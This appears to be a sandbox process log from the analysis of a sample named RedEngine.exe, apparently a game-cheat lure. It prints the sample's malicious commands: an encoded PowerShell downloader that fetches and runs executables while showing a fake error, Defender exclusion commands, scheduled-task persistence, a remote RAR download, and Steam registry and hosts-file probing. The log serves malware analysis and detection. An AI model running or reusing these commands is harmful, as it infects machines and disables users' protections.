Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\Desktop\RedEngine.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#atr#>[System.Windows.Forms.MessageBox]::Show('Error #819: Cannot start due to missing dependencies, please install all the dependencies required.','','OK','Error')<#bqs#>;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 1251
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /tn "MyBatchScript"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "tf_win64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im tf_win64.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "dota2.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im dota2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "cs2.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im cs2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "RustClient.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im RustClient.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "GTA5.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im GTA5.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "tf_win64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "RustClient.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "GTA5.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im tf_win64.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "cs2.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /tn "MyBatchScript"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\AppData"
